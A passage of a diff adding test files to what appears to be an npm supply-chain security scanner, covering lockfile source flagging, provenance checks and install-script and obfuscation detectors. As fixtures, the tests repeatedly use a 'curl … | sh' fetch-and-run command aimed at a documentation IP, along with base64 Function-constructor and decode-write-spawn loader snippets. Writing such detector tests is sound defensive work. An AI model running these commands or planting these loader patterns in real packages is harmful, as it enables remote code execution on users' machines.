assert.ok(cs.some((c) => c.version === "0.0.0" && c.nonRegistry), "no declared version falls back to 0.0.0"); + assert.ok(cs.some((c) => c.name === "lodash" && c.version === "4.17.21" && !c.nonRegistry), "a plain v5 key still parses"); + }); + + test("pnpm v9: a key is split right after the package name; an '@' in a URL query never reaches name or version (round 4, item 1)", () => { + const raw = `lockfileVersion: '9.0'\n\npackages:\n\n pkg@https://h/x.tgz?a=b@s3cr3t:\n resolution: {tarball: 'https://h/x.tgz?a=b@s3cr3t'}\n\n '@scope/pkg@https://h/y.tgz?a=b@s3cr3t':\n resolution: {tarball: 'https://h/y.tgz?a=b@s3cr3t'}\n version: 3.0.0\n\n '@scope/ok@1.2.3':\n resolution: {integrity: sha512-OK==}\n`; + const cs = parsePnpmLock(raw); + for (const c of cs) assert.ok(!/s3cr3t|https|h\/x/.test(`${c.name}@${c.version}`), `${c.name}@${c.version}`); + assert.ok(cs.some((c) => c.name === "pkg" && c.version === "0.0.0" && c.nonRegistry)); + assert.ok(cs.some((c) => c.name === "@scope/pkg" && c.version === "3.0.0" && c.nonRegistry)); + assert.ok(cs.some((c) => c.name === "@scope/ok" && c.version === "1.2.3" && !c.nonRegistry)); + }); + + test("pnpm v9: a non-plain remainder with no resolution is still non-registry", () => { + const cs = parsePnpmLock(`lockfileVersion: '9.0'\n\npackages:\n\n pkg@npm:other@1.0.0:\n resolution: {integrity: sha512-A==}\n`); + assert.ok(cs[0]!.nonRegistry); + assert.ok(!/other/.test(`${cs[0]!.name}@${cs[0]!.version}`)); + }); + + test("pnpm v5: peer-dependency suffix keys are normal registry coordinates (round 5, item 1)", () => { + const raw = `lockfileVersion: 5.4\n\npackages:\n\n /p/1.0.0_peer@2.0.0:\n resolution: {integrity: sha512-P==}\n\n /@s/q/1.0.0_a@1+b@2:\n resolution: {integrity: sha512-Q==}\n\n /@s/2fa/3.1.0_@x/y@1:\n resolution: {integrity: sha512-F==}\n\n /my_pkg/1.2.3:\n resolution: {integrity: sha512-M==}\n`; + const cs = parsePnpmLock(raw); + const by = Object.fromEntries(cs.map((c) => [`${c.name}@${c.version}`, c])); + assert.deepEqual(Object.keys(by).sort(), ["@s/2fa@3.1.0", "@s/q@1.0.0", "my_pkg@1.2.3", "p@1.0.0"]); + assert.equal(by["p@1.0.0"]!.integrity, "sha512-P=="); + assert.equal(by["@s/q@1.0.0"]!.integrity, "sha512-Q=="); + for (const c of cs) assert.equal(c.nonRegistry, undefined, `${c.name}@${c.version}`); + }); + + test("duplicates with pins in DIFFERENT algorithms merge into one SRI; the same algorithm with another digest conflicts (PR #84)", () => { + const base = { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz" }; + const merged = get(npm({ "node_modules/x": { ...base, integrity: "sha1-AAAA" }, "node_modules/a/node_modules/x": { ...base, integrity: "sha512-BBBB" } }), "x"); + assert.equal(merged.nonRegistry, undefined); + assert.equal(merged.integrity, "sha1-AAAA sha512-BBBB"); + const again = get(npm({ "node_modules/x": { ...base, integrity: "sha1-AAAA sha512-BBBB" }, "node_modules/a/node_modules/x": { ...base, integrity: "sha512-BBBB" } }), "x"); + assert.equal(again.integrity, "sha1-AAAA sha512-BBBB", "tokens are deduped"); + const conflict = get(npm({ "node_modules/x": { ...base, integrity: "sha1-AAAA sha512-BBBB" }, "node_modules/a/node_modules/x": { ...base, integrity: "sha512-CCCC" } }), "x"); + assert.match(conflict.nonRegistry ?? "", /conflicting integrity pins/); + }); +}); diff --git a/packages/core/test/security-lockfile-sources.test.ts b/packages/core/test/security-lockfile-sources.test.ts new file mode 100644 index 0000000..f08d27c --- /dev/null +++ b/packages/core/test/security-lockfile-sources.test.ts @@ -0,0 +1,192 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { parseAnyLockfile, parseLockfile, parsePnpmLock, parseYarnLock } from "../src/lockfile.js"; + +const npm = (packages: Record) => JSON.stringify({ lockfileVersion: 3, packages: { "": { name: "root" }, ...packages } }); + +describe("F19: non-registry lockfile sources are flagged, not audited as registry packages", () => { + test("npm: git, github shorthand and off-shape tarball URLs get nonRegistry; registry shapes do not", () => { + const coords = parseLockfile(npm({ + "node_modules/gitdep": { version: "1.0.0", resolved: "git+ssh://git@github.com/evil/gitdep.git#abc123" }, + "node_modules/ghdep": { version: "1.0.0", resolved: "github:evil/ghdep#abc123" }, + "node_modules/gitsdep": { version: "1.0.0", resolved: "git+https://github.com/evil/gitsdep.git#abc123" }, + "node_modules/tardep": { version: "1.0.0", resolved: "https://codeload.github.com/evil/tardep/tar.gz/abc123" }, + "node_modules/ftpdep": { version: "1.0.0", resolved: "ftp://evil.example/-/ftpdep-1.0.0.tgz" }, + "node_modules/lodash": { version: "4.17.21", resolved: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", integrity: "sha512-L" }, + "node_modules/@scope/pkg": { version: "1.2.3", resolved: "https://registry.npmjs.org/@scope/pkg/-/pkg-1.2.3.tgz", integrity: "sha512-S" }, + })); + const by = Object.fromEntries(coords.map((c) => [c.name, c])); + assert.equal(by["gitdep"]!.nonRegistry, "git+ssh://git@github.com/evil/gitdep.git#abc123"); + assert.equal(by["ghdep"]!.nonRegistry, "github:evil/ghdep#abc123"); + assert.equal(by["gitsdep"]!.nonRegistry, "git+https://github.com/evil/gitsdep.git#abc123"); + assert.equal(by["tardep"]!.nonRegistry, "https://codeload.github.com/evil/tardep/tar.gz/abc123"); + assert.equal(by["ftpdep"]!.nonRegistry, "ftp://evil.example/-/ftpdep-1.0.0.tgz"); + assert.equal(by["lodash"]!.nonRegistry, undefined); + assert.equal(by["@scope/pkg"]!.nonRegistry, undefined); + assert.ok(!("nonRegistry" in by["lodash"]!), "registry coordinates must not carry the key at all"); + }); + + test("npm: nonRegistry is sticky across duplicate name@version entries, in either order", () => { + const reg = { version: "1.0.0", resolved: "https://registry.npmjs.org/dup/-/dup-1.0.0.tgz", integrity: "sha512-D" }; + const git = { version: "1.0.0", resolved: "git+ssh://git@github.com/evil/dup.git#abc" }; + for (const packages of [ + { "node_modules/dup": git, "node_modules/a/node_modules/dup": reg }, + { "node_modules/dup": reg, "node_modules/a/node_modules/dup": git }, + ]) { + const coords = parseLockfile(npm(packages)); + assert.equal(coords.length, 1); + assert.equal(coords[0]!.nonRegistry, git.resolved); + } + }); + + test("yarn v1: git and codeload resolutions are flagged", () => { + const raw = `# yarn lockfile v1 + +"gitdep@github:evil/gitdep": + version "1.0.0" + resolved "git+ssh://git@github.com/evil/gitdep.git#abc123" + +tardep@https://example.com/tardep.tgz: + version "2.0.0" + resolved "https://example.com/tardep.tgz#deadbeef" + +lodash@^4.17.0: + version "4.17.21" + resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#def" + integrity sha512-LODASHHASH== +`; + const by = Object.fromEntries(parseYarnLock(raw).map((c) => [c.name, c])); + assert.equal(by["gitdep"]!.nonRegistry, "git+ssh://git@github.com/evil/gitdep.git#abc123"); + assert.equal(by["tardep"]!.nonRegistry, "https://example.com/tardep.tgz#deadbeef"); + assert.equal(by["lodash"]!.nonRegistry, undefined); + }); + + test("yarn berry: non-npm resolutions are flagged; workspace/patch/link/file entries are skipped", () => { + const raw = `__metadata: + version: 6 + +"gitdep@https://github.com/evil/gitdep.git#commit=abc": + version: 1.0.0 + resolution: "gitdep@https://github.com/evil/gitdep.git#commit=abc" + languageName: node + linkType: hard + +"lodash@npm:^4.17.0": + version: 4.17.21 + resolution: "lodash@npm:4.17.21" + languageName: node + linkType: hard + +"root@workspace:.": + version: 0.0.0-use.local + resolution: "root@workspace:." + languageName: unknown + linkType: soft + +"typescript@patch:typescript@npm%3A5.0.0#~builtin": + version: 5.0.0 + resolution: "typescript@patch:typescript@npm%3A5.0.0#~builtin::version=5.0.0&hash=abc" + languageName: node + linkType: hard +`; + const coords = parseYarnLock(raw); + assert.deepEqual(coords.map((c) => c.name), ["gitdep", "lodash"]); + assert.equal(coords[0]!.nonRegistry, "gitdep@https://github.com/evil/gitdep.git#commit=abc"); + assert.equal(coords[1]!.nonRegistry, undefined); + }); + + test("yarn berry: a URL that merely contains @npm: or @file: is still non-registry", () => { + const raw = `__metadata: + version: 6 + +"evil@https://203.0.113.5/@npm:/evil.tgz": + version: 1.0.0 + resolution: "evil@https://203.0.113.5/@npm:/evil.tgz" + languageName: node + linkType: hard + +"sneaky@https://203.0.113.5/@file:/sneaky.tgz": + version: 1.0.0 + resolution: "sneaky@https://203.0.113.5/@file:/sneaky.tgz" + languageName: node + linkType: hard + +"@scope/ok@npm:^1.0.0": + version: 1.2.3 + resolution: "@scope/ok@npm:1.2.3" + languageName: node + linkType: hard +`; + const by = Object.fromEntries(parseYarnLock(raw).map((c) => [c.name, c])); + assert.equal(by["evil"]?.nonRegistry, "evil@https://203.0.113.5/@npm:/evil.tgz"); + assert.equal(by["sneaky"]?.nonRegistry, "sneaky@https://203.0.113.5/@file:/sneaky.tgz"); + assert.equal(by["@scope/ok"]?.nonRegistry, undefined); + }); + + test("yarn berry: an alias audits the resolved name, and an unparseable entry gates instead of vanishing", () => { + const raw = `__metadata: + version: 6 + +"pretty@npm:real@^1.0.0": + version: 1.0.0 + resolution: "real@npm:1.0.0" + languageName: node + linkType: hard + +"liar@npm:^1.0.0": + version: 1.0.0 + resolution: "liar@npm:9.9.9" + languageName: node + linkType: hard + +"???weird???": + version: 2.0.0 + resolution: "???weird???" + languageName: node + linkType: hard +`; + const coords = parseYarnLock(raw); + const real = coords.find((c) => c.name === "real"); + assert.ok(real, "alias entry is audited under the name yarn fetches"); + assert.equal(real.nonRegistry, undefined); + const weird = coords.find((c) => c.nonRegistry === "???weird???"); + assert.ok(weird, "unparseable entry is emitted as non-registry, not skipped"); + assert.equal(coords.find((c) => c.name === "liar")?.nonRegistry, "liar@npm:9.9.9", "version must match the resolution"); + }); + + test("pnpm: git and tarball resolutions are flagged, directory entries are skipped, registry stays clean", () => { + const raw = `lockfileVersion: '9.0' + +packages: + + gitdep@https://codeload.github.com/evil/gitdep/tar.gz/abc: + resolution: {tarball: https://codeload.github.com/evil/gitdep/tar.gz/abc} + version: 1.0.0 + + gitdep2@1.0.0: + resolution: {type: git, repo: 'https://github.com/evil/gitdep2.git', commit: abc} + + localdep@1.0.0: + resolution: {directory: ../localdep, type: directory} + + lodash@4.17.21: + resolution: {integrity: sha512-LODASH==} + + custom@2.0.0: + resolution: {integrity: sha512-C==, tarball: 'https://mirror.example/custom/-/custom-2.0.0.tgz'} +`; + const coords = parsePnpmLock(raw); + const by = Object.fromEntries(coords.map((c) => [c.name, c])); + assert.equal(by["localdep"], undefined); + assert.ok(by["gitdep2"]!.nonRegistry?.includes("https://github.com/evil/gitdep2.git")); + assert.equal(by["lodash"]!.nonRegistry, undefined); + assert.equal(by["custom"]!.nonRegistry, undefined); + const tar = coords.find((c) => c.nonRegistry === "https://codeload.github.com/evil/gitdep/tar.gz/abc"); + assert.ok(tar, "tarball-resolved pnpm entry must be flagged"); + }); + + test("parseAnyLockfile passes the flag through", () => { + const coords = parseAnyLockfile(npm({ "node_modules/g": { version: "1.0.0", resolved: "git+ssh://git@x/g.git#a" } }), { filename: "package-lock.json" }); + assert.equal(coords[0]!.nonRegistry, "git+ssh://git@x/g.git#a"); + }); +}); diff --git a/packages/core/test/security-provenance.test.ts b/packages/core/test/security-provenance.test.ts new file mode 100644 index 0000000..1e2fee6 --- /dev/null +++ b/packages/core/test/security-provenance.test.ts @@ -0,0 +1,60 @@ +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { describe, test } from "node:test"; +import { Buffer } from "node:buffer"; +import { extractIdentity, fulcioSourceExtensions, loadDefaultTrustMaterial } from "../src/provenance.js"; +import { FIXTURES } from "./helpers.js"; + +const ATTESTATIONS = JSON.parse( + readFileSync(join(FIXTURES, "attestations", "sigstore-3.0.0.attestations.json"), "utf8"), +) as { attestations: { predicateType: string; bundle: { verificationMaterial: { x509CertificateChain?: { certificates: { rawBytes: string }[] } } } }[] }; +const leaf = Buffer.from( + ATTESTATIONS.attestations.find((a) => a.predicateType === "https://slsa.dev/provenance/v1")!.bundle.verificationMaterial.x509CertificateChain!.certificates[0]!.rawBytes, + "base64", +); +const NONE = { sourceRepository: null, ref: null }; + +describe("F14: source repository/ref come from the Fulcio certificate, not the signer-written predicate", () => { + test("extension walker reads OID .12 and .14 from the real leaf certificate", () => { + assert.deepEqual(fulcioSourceExtensions(leaf), { + sourceRepository: "https://github.com/sigstore/sigstore-js", + ref: "refs/heads/main", + }); + }); + + test("a certificate without the extensions (a CA cert from the pinned root) yields nulls", () => { + const root = loadDefaultTrustMaterial()!.trustedRootJson as { certificateAuthorities: { certChain: { certificates: { rawBytes: string }[] } }[] }; + const ca = Buffer.from(root.certificateAuthorities[0]!.certChain.certificates[0]!.rawBytes, "base64"); + assert.deepEqual(fulcioSourceExtensions(ca), NONE); + }); + + test("malformed or truncated DER never throws", () => { + for (const bad of [Buffer.alloc(0), Buffer.from([0x30]), Buffer.from([0x30, 0x84, 0xff, 0xff, 0xff, 0xff]), leaf.subarray(0, 200), Buffer.from("garbage")]) { + assert.deepEqual(fulcioSourceExtensions(bad), NONE); + } + }); + + test("extractIdentity ignores a predicate that claims another repository/ref", () => { + const forged = { + predicate: { + buildDefinition: { externalParameters: { workflow: { repository: "https://github.com/acme/lib", ref: "refs/heads/release" } } }, + runDetails: { builder: { id: "https://github.com/actions/runner/github-hosted" } }, + }, + }; + const id = extractIdentity( + { identity: { subjectAlternativeName: "https://github.com/evil/x/.github/workflows/r.yml@refs/heads/main", extensions: { issuer: "https://token.actions.githubusercontent.com" } } }, + forged, + leaf, + ); + assert.equal(id.sourceRepository, "https://github.com/sigstore/sigstore-js"); + assert.equal(id.ref, "refs/heads/main"); + }); + + test("no certificate extension means null, with no predicate fallback", () => { + const forged = { predicate: { buildDefinition: { externalParameters: { workflow: { repository: "https://github.com/acme/lib", ref: "refs/heads/x" } } } } }; + const id = extractIdentity({ identity: {} }, forged, Buffer.alloc(0)); + assert.equal(id.sourceRepository, null); + assert.equal(id.ref, null); + }); +}); diff --git a/packages/core/test/security-rule-robustness-10.test.ts b/packages/core/test/security-rule-robustness-10.test.ts new file mode 100644 index 0000000..8b54b4e --- /dev/null +++ b/packages/core/test/security-rule-robustness-10.test.ts @@ -0,0 +1,112 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core re-review: the suffix fallback must not turn benign hooks critical, and +// the overflow decode signal needs whole identifiers. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson: object): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const crit = (files: Record, cmd: string) => + runRules(inputFor(files, { scripts: { postinstall: cmd } })).filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); + +describe("the suffix fallback does not match bare command words or module specifiers", () => { + const payload = `${CURL_SH}\n`; + const rows: [string, Record][] = [ + ["node-gyp rebuild", { "package/lib/node-gyp.js": payload }], + ["npm run build", { "package/node_modules/npm/lib/npm.js": payload }], + ["echo done", { "package/vendor/shelljs/src/echo.js": payload }], + ["node -r dotenv/config setup.js", { "package/node_modules/dotenv/config.js": payload, "package/setup.js": "console.log(1)\n" }], + ]; + for (const [cmd, files] of rows) { + test(`\`${cmd}\` stays non-critical`, () => { + assert.equal(crit(files, cmd).length, 0); + }); + } + + test("path-qualified words, interpreter scripts and code operands still use the suffix fallback", () => { + assert.equal(crit({ "package/scripts/setup": payload }, "cd scripts && ./setup").length, 1); + assert.equal(crit({ "package/scripts/setup.sh": payload }, "cd scripts && sh setup.sh").length, 1); + assert.equal(crit({ "package/scripts/run.js": payload }, "cd scripts; node run").length, 1); + assert.equal(crit({ "package/lib/x.js": payload }, "sudo node x.js").length, 1); + }); + + test("a relative `-r` value still resolves, a bare specifier does not", () => { + assert.equal(crit({ "package/hook.js": payload, "package/main.js": "x\n" }, "node -r ./hook.js main.js").length, 1); + }); + + test("an unrecognized `--flag=./code.js` value is scanned; a bare specifier value is not", () => { + const files = { "package/reporter.js": `${CURL_SH}\n`, "package/test.js": "x\n" }; + assert.equal(crit(files, "node --test --test-reporter=./reporter.js test.js").length, 1); + assert.equal(crit({ "package/node_modules/r/reporter.js": `${CURL_SH}\n`, "package/test.js": "x\n" }, "node --test-reporter=r/reporter.js test.js").length, 0); + }); + + test("a bare command word matches only an exact package file", () => { + assert.equal(crit({ "package/setup": payload }, "setup").length, 1); + assert.equal(crit({ "package/setup.js": payload }, "setup").length, 0, "a shell never appends .js"); + }); +}); + +describe("overflow decode signal needs a whole identifier", () => { + const PAD = `try{x${".b".repeat(60000)}}catch(e){}\n`; + const loader = (src: string) => + runRules(inputFor({ "package/index.js": src }, { name: "p", main: "index.js" })).filter((f) => f.ruleId === "native-payload-loader"); + + test("`inflated` in a comment is not a decode", () => { + const f = loader(`${PAD}const {readFileSync:r,writeFileSync:w}=require("fs");const {spawn:go}=require("child_process"); // inflated data\n`); + assert.ok(!f.some((x) => x.severity === "critical")); + }); + + test("the real identifier still counts", () => { + const f = loader(`${PAD}const {readFileSync:r,writeFileSync:w}=require("fs");const {spawn:go}=require("child_process");const {inflateSync:g}=require("zlib");\n`); + assert.ok(f.some((x) => x.severity === "critical")); + }); +}); + +describe("input redirection attached to a script path", () => { + test("`node { + assert.equal(crit({ "package/setup.js": `${CURL_SH}\n` }, "node { + test("`node { + assert.equal(crit({ "package/README.md": "docs\n", "package/setup": `${CURL_SH}\n` }, "node out.js` does not scan the output target", () => { + assert.equal(crit({ "package/build.js": "console.log(1)\n", "package/out.js": `${CURL_SH}\n` }, "node build.js > out.js").length, 0); + }); +}); + +describe("a quoted redirect character is a literal file name", () => { + test("`node \">evil.js\"` scans the file literally named >evil.js", () => { + assert.equal(crit({ "package/>evil.js": `${CURL_SH}\n` }, 'node ">evil.js"').length, 1); + }); +}); + +describe("a preload path inside an environment assignment", () => { + test("`NODE_OPTIONS=--require=./hook.js node -v` scans hook.js", () => { + assert.equal(crit({ "package/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=./hook.js node -v").length, 1); + }); + test("a bare specifier in NODE_OPTIONS is a node_modules module, not a package script", () => { + assert.equal(crit({ "package/node_modules/x/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); + }); +}); diff --git a/packages/core/test/security-rule-robustness-2.test.ts b/packages/core/test/security-rule-robustness-2.test.ts new file mode 100644 index 0000000..330caf1 --- /dev/null +++ b/packages/core/test/security-rule-robustness-2.test.ts @@ -0,0 +1,187 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, extractTarball, runRules } from "../src/index.js"; +import { analyzeLoaderChain } from "../src/detect/loader-chain.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Post-review follow-ups for Group 2: no token-cap bypass, base64 spelling +// variants, indexed written-path lookup, backslash tar paths. + +const BUDGET_MS = 1000; +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson?: unknown): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + if (pkgJson !== undefined) list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +function assertFast(label: string, fn: () => unknown): void { + const t = performance.now(); + fn(); + const ms = performance.now() - t; + console.log(`[timing] ${label}: ${ms.toFixed(0)} ms`); + assert.ok(ms < BUDGET_MS, `${label} took ${ms.toFixed(0)} ms (budget ${BUDGET_MS} ms)`); +} + +describe("install-scripts: no token cap to pad past", () => { + const critical = (f: ReturnType) => + f.filter((x) => x.ruleId === "install-scripts" && x.severity === "critical").length; + + test("100 junk tokens before `node setup` still inspect `setup`", () => { + const pad = Array.from({ length: 100 }, (_, i) => `junk${i}`).join(" "); + const f = runRules(inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: `echo ${pad} && node setup` } })); + assert.equal(critical(f), 1); + }); + + test("a very long junk token before the script name does not hide it", () => { + const f = runRules(inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: `echo ${"j".repeat(5000)} && node setup` } })); + assert.equal(critical(f), 1); + }); + + test("tokens split on `$`, `{`, `}` and backslash", () => { + for (const cmd of ["node ${npm_config_x}setup", "node $setup", "node {setup}", "node \\setup"]) { + const f = runRules(inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: cmd } })); + assert.equal(critical(f), 1, cmd); + } + }); + + test("JS suffix fallback still resolves `scripts/x.js` to a nested file", () => { + const f = runRules(inputFor({ "package/lib/scripts/x.js": `${CURL_SH}\n` }, { scripts: { postinstall: "node scripts/x.js" } })); + assert.equal(critical(f), 1); + }); + + test("a 2 MiB command finishes fast and still resolves the trailing script", () => { + const cmd = "a ".repeat(1024 * 1024) + "&& node setup"; + const input = inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: cmd } }); + let out: ReturnType = []; + assertFast("install-scripts 2 MiB command", () => { out = runRules(input); }); + assert.equal(critical(out), 1); + }); +}); + +describe("base64 marker spellings", () => { + const spellings = ["base64", "BASE64", "Base64", "base64url", "BASE64URL"]; + const b64 = "A".repeat(300); + + test("obfuscation: Function constructor over Buffer.from in every spelling", () => { + for (const enc of spellings) { + for (const src of [ + `new Function(Buffer.from("${b64}", "${enc}").toString())();`, + `var s = Buffer.from("${b64}", '${enc}'); new Function(s)();`, + ]) { + const f = runRules(inputFor({ "package/index.js": src })).filter((x) => x.ruleId === "obfuscation"); + assert.ok(f.some((x) => /Function constructor/.test(x.message)), `missed ${enc}: ${src.slice(0, 30)}`); + } + } + }); + + test("native-payload-loader: regex fallback sees every spelling", () => { + for (const enc of spellings) { + const src = `}{ const d = Buffer.from("${b64}", "${enc}"); require("fs").writeFileSync("/tmp/x", d);`; + const f = runRules(inputFor({ "package/index.js": src }, { name: "p" })).filter((x) => x.ruleId === "native-payload-loader"); + assert.equal(f.length, 1, enc); + } + }); + + test("loader-chain: Buffer.from(x, ) is a decode step in the dataflow chain", () => { + for (const enc of spellings) { + const src = ` +const fs=require('fs'),cp=require('child_process'),os=require('os'),path=require('path'); +const c=fs.readFileSync(path.join(__dirname,'intro.js')); +const b=Buffer.from(c.toString(),'${enc}'); +const out=path.join(os.tmpdir(),'.x'); +fs.writeFileSync(out,b); cp.spawn(out,[],{detached:true});`; + assert.equal(analyzeLoaderChain(src).correlated, true, enc); + } + }); +}); + +describe("loader-chain: written paths are indexed", () => { + const HEAD = "const fs=require('fs'),zlib=require('zlib'),cp=require('child_process'),os=require('os'),path=require('path');\n" + + "(function(){const d=zlib.gunzipSync(fs.readFileSync(path.join(__dirname,'p')));\n"; + + test("1 MiB of writes and launches stays fast", () => { + let body = ""; + for (let i = 0; HEAD.length + body.length < 1024 * 1024; i++) body += `fs.writeFileSync('o${i}',d);cp.spawn('o${i}x');\n`; + const input = inputFor({ "package/index.js": HEAD + body + "})();" }, { name: "p" }); + assertFast("loader-chain 1 MiB writtenPaths", () => runRules(input)); + }); + + test("an inline structurally-equal write path and launch target still correlate", () => { + const src = `${HEAD}fs.writeFileSync(path.join(os.tmpdir(),'x'),d); cp.spawn(path.join(os.tmpdir(),'x'));})();`; + assert.equal(analyzeLoaderChain(src).correlated, true); + }); + + test("a different launch target does not correlate", () => { + const src = `${HEAD}fs.writeFileSync(path.join(os.tmpdir(),'x'),d); cp.spawn(path.join(os.tmpdir(),'y'));})();`; + assert.equal(analyzeLoaderChain(src).correlated, false); + }); + + test("a write in a sibling scope is not visible to a launch elsewhere", () => { + const src = `${HEAD}})(); +(function(){ cp.spawn(path.join(os.tmpdir(),'x')); })(); +(function(){ const d2=zlib.gunzipSync(fs.readFileSync(path.join(__dirname,'p'))); fs.writeFileSync(path.join(os.tmpdir(),'x'),d2); })();`; + assert.equal(analyzeLoaderChain(src).correlated, false); + }); +}); + +// Hand-rolled tar so the entry name is controlled byte for byte. +function tarBytes(entries: { name: string; data: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write("0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} + +describe("extract: backslash entry paths", () => { + const BENIGN = JSON.stringify({ name: "demo", version: "1.0.0" }); + const EVIL = JSON.stringify({ name: "demo", version: "1.0.0", scripts: { postinstall: CURL_SH } }); + const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + + // Round 1: the Windows reading counts toward the root manifest. Round 2: it is also retained, + // so the scanner sees what a Windows client installs (POSIX would drop this single-segment name). + test("`package\\package.json` is counted as a root manifest and retained under its Windows path", async () => { + const r = await extractTarball(tarBytes([{ name: "package\\package.json", data: EVIL }])); + assert.deepEqual(r.files.map((f) => f.path), ["package/package.json"]); + assert.equal(r.packageManifestEntryCount, 1); + assert.ok(r.manifestConfusion.length > 0); + }); + + test("a backslash duplicate of the manifest triggers manifest-confusion", async () => { + const report = await auditTarball({ + meta, + tarball: tarBytes([{ name: "package/package.json", data: BENIGN }, { name: "package\\package.json", data: EVIL }]), + }); + const f = report.findings.find((x) => x.ruleId === "manifest-confusion"); + assert.ok(f, "manifest-confusion expected"); + assert.equal(report.verdict, "block"); + }); +}); diff --git a/packages/core/test/security-rule-robustness-3.test.ts b/packages/core/test/security-rule-robustness-3.test.ts new file mode 100644 index 0000000..ba50900 --- /dev/null +++ b/packages/core/test/security-rule-robustness-3.test.ts @@ -0,0 +1,138 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core review round 1: tar path readings, script resolution, overflow downgrade. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const BUDGET_MS = 1000; + +function tarBytes(entries: { name: string; data: string; type?: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write(e.type ?? "0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson?: unknown): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + if (pkgJson !== undefined) list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +function assertFast(label: string, fn: () => unknown): void { + const t = performance.now(); + fn(); + const ms = performance.now() - t; + console.log(`[timing] ${label}: ${ms.toFixed(0)} ms`); + assert.ok(ms < BUDGET_MS, `${label} took ${ms.toFixed(0)} ms (budget ${BUDGET_MS} ms)`); +} + +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; +const BENIGN = JSON.stringify({ name: "demo", version: "1.0.0" }); +const EVIL = JSON.stringify({ name: "demo", version: "1.0.0", scripts: { postinstall: CURL_SH } }); + +describe("duplicate root manifest under every reading", () => { + const blocked = async (entries: { name: string; data: string; type?: string }[]) => { + const report = await auditTarball({ meta, tarball: tarBytes(entries) }); + assert.ok(report.findings.some((f) => f.ruleId === "manifest-confusion"), "manifest-confusion expected"); + assert.equal(report.verdict, "block"); + }; + + test("`a\\b/package.json` (POSIX: lands on the root manifest) next to a benign manifest", async () => { + await blocked([{ name: "package/package.json", data: BENIGN }, { name: "a\\b/package.json", data: EVIL }]); + }); + + test("a trailing separator: `package/package.json/` installs as package.json", async () => { + for (const type of ["0", "7"]) { + await blocked([{ name: "package/package.json", data: BENIGN }, { name: "package/package.json/", data: EVIL, type }]); + } + }); +}); + +describe("install-scripts: script resolution", () => 